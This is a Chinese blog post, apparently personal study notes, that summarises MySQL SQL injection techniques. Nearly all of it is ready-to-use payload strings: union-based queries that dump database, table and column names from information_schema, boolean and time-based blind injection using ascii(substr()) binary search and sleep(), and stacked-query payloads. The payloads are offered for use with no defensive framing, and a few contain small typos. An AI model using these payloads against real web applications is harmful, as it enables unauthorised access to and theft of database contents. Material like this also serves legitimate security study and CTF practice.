sql注入小结

数字型注入

可以用 id=2 与 id=3-1 返回的页面是否相同来判断是否是数字型

联合注入

?id=1' order by 1 --+
?id=1' order by 2 --+
?id=1' order by 3 --+
……

↑直至返回报错,可以判断出列数↑

?id=1' union select database(),2,3 --+
?id=1' union select 1,database(),3 --+
?id=1' union select 1,2,database() --+

↑哪个返回库名说明库在哪列↑

?id=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' --+

↑爆出表名↑

?id=1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' --+

↑爆出字段名↑

-1’ union select 1,2,列名 from 库名.表名 --+

↑爆出值↑

字符型注入

字符串 ‘1’ 会被强制转成True

盲注

布尔注入

1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名

id=1’ and length(database())=1/2/3…… #
直到显示存在为止
或者
id=1’ and (length (database()))>1/2/3……–+
判断字符数是否小于1/2/3……个

3.猜解数据库中的表名

首先猜解数据库中表的数量:
输入1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1/2/3…… #
直到显示存在为止。。。。
接着挨个猜解表名:
先求第n个表的表名长度:
输入1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),n))=1/2/3…… # 直到有显示为止。。。。。。
再猜第n个表的名字
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1/2/3……,n))>97 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1/2/3……,n))<122# 显示存在
直到猜出来为止。。。。。最后猜出n个表的每一个表名

二分法
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
慢慢缩小范围直到试出来为止。。。。最后猜出第一个字符
输入1’ and ascii(substr(databse(),2,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),2,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
同理猜第二个。。。。。。

4.猜解表中字段名

首先猜解表中字段的数量:
1’ and (select count(column_name) from information_schema.columns where table_name= ‘表名’)=1/2/3…… #

直到存在为止。。。
接着挨个猜解字段名:
先猜某个字段名的长度
1’ and length(substr((select column_name from information_schema.columns where table_name= ‘表名’ limit 0,1),1))=1/2/3…… # 直到显示存在
再猜第n个字段名:
1’ and ascii(substr((select column_name from information_schema.columns WHERE table_schema=DATABASE() and table_name=‘表名’ LIMIT 1),1/2/3……,1))=>97 #
1’ and ascii(substr((select column_name from information_schema.columns WHERE table_schema=DATABASE() and table_name=‘表名’ LIMIT 1),1/2/3……,1))=<122 #
缩小范围确定字符

时间注入

1.判断是否存在注入,注入是字符型还是数字型

1’ and sleep(1/2/3……) #

2.猜解当前数据库名

1’ and if(length(database())=1/2/3……,sleep(5),1)# 猜解数据名的长度
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 采用二分法猜解数据库名
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 采用二分法猜解数据库名

3.猜解数据库中的表名

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1/2/3……,sleep(5),1)# 猜解数据库中表的数量
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1/2/3……,sleep(5),1) # 猜解表名

4.猜解表中字段名

1’ and if((select count(column_name) from information_schema.columns where table_name= ’表名’)=1/2/3……,sleep(5),1)# 猜解表中字段的数量

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’表名’ limit 0,1),1))=1/2/3……,sleep(5),1) # 猜解字段名

堆叠注入

mysql_multi_query() 支持多条sql语句同时执行

1’; show databases;#
1'; show tables;#
1'; show columns form XXXXXXX;#

表名为数字要用反引号括起来

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

C1yas0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值